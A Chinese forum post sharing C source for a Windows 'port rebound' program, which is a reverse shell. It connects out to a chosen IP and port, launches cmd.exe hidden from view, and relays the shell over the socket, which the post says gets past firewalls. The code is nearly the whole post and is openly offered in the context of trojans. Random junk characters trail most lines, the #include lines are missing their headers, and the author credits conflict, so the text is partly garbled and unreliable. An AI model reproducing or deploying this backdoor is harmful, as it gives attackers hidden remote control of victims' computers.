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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kaZ_ra;<  
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/* ============================== ak]H|D" 9  
Rebound port in Windows NT TvwkeOS#}7  
By wind,2006/7 !jyy`q=  
===============================*/ 6eAJ >9@x  
#include WEk3 4crk  
#include td\'BV  
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#pragma comment(lib,"wsock32.lib") :A]CD (  
*|&&3&7  
void OutputShell(); Z6_E/S  
SOCKET sClient; L QA6iZBP  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pJ H@v &a  
)dZ1$MC[  
void main(int argc,char **argv) (pkq{: Fs  
{ }tUr V   
WSADATA stWsaData; =U+_;;F=  
int nRet; ]5j1p6;(`  
SOCKADDR_IN stSaiClient,stSaiServer; C'xWRSDO  
TWT h!  
if(argc != 3) vON1\$bu `  
{ _$BH.I  
printf("Useage:\n\rRebound DestIP DestPort\n"); .[>UkM0  
return; ^?o>(K  
} 53)*i\9&  
hR%2[lBn!]  
WSAStartup(MAKEWORD(2,2),&stWsaData); {^*D5  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q[UYNQ0w  
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stSaiClient.sin_family = AF_INET; >J_%'%%f  
stSaiClient.sin_port = htons(0); G.sf>.[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [Cf{2WB:7  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  o C#W  
{ #i0f}&  
printf("Bind Socket Failed!\n"); - {|  
return; N"&qy3F  
} NJ$c0CNy  
D}A>`6W<  
stSaiServer.sin_family = AF_INET; bx=9XZ9g  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p-,(P+Np  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (GXFPEH8  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Onj)AJ9M0r  
{ %6HJM| {H  
printf("Connect Error!"); `} :~,E  
return; O>kM2xw  
} {BS`v5*  
OutputShell(); Nr:%yvk%s  
} "?#O*x  
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void OutputShell() tA]Y=U+Q  
{ XD$;K$_7  
char szBuff[1024]; %hH@< <b(s  
SECURITY_ATTRIBUTES stSecurityAttributes; M5<c HE  
OSVERSIONINFO stOsversionInfo; P1A5Qq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; );oE^3]f  
STARTUPINFO stStartupInfo; G "`t$=0  
char *szShell; ]Wdnr1d~8  
PROCESS_INFORMATION stProcessInformation; %:/?eZ  
unsigned long lBytesRead; bbxo!K m"  
4oA9|}<FR  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 66%4p%#b4  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); YH/3N(],  
stSecurityAttributes.lpSecurityDescriptor = 0; $3je+=ER  
stSecurityAttributes.bInheritHandle = TRUE; wH N5H  
[ %:%C]4  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '7(oCab"_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gO,2:,  
Bl!R bh\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .U9A \$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p{S#>JTr  
stStartupInfo.wShowWindow = SW_HIDE; Gn} ^BJN  
stStartupInfo.hStdInput = hReadPipe; PWbi`qF)r  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4VrL@c @  
[[gfR'79{  
GetVersionEx(&stOsversionInfo); ]?A-D,!(  
".:]? Lvt  
switch(stOsversionInfo.dwPlatformId) \>nY%*  
{ 32Jl|@8,g  
case 1: 2"C,u V@F!  
szShell = "command.com"; Q3|I.I e  
break; i $W E1-  
default: cNvh2JI  
szShell = "cmd.exe"; X Cf!xIv  
break; +3%i7  
} q;#:nf"  
|VE *_ G  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kRH;c,E@  
`R{ ZED l'  
send(sClient,szMsg,77,0); [>wvVv  
while(1) w;(B4^?  
{ 4 N{5i )  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A.@Af+  
if(lBytesRead) W9%B9~\G;+  
{ }&:F,q*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CY i{WV(:  
send(sClient,szBuff,lBytesRead,0); |cd=7[B  
} ("-`Y'"K  
else &7m)K>E27  
{ h(H b+7g  
lBytesRead=recv(sClient,szBuff,1024,0); > g=u Y{Rf  
if(lBytesRead<=0) break; Sw^-@w=!U5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `.F+T)G  
} 9HJA:k*k|  
} c0M>CaKD  
?~#{3b  
return; B@@j-  
}
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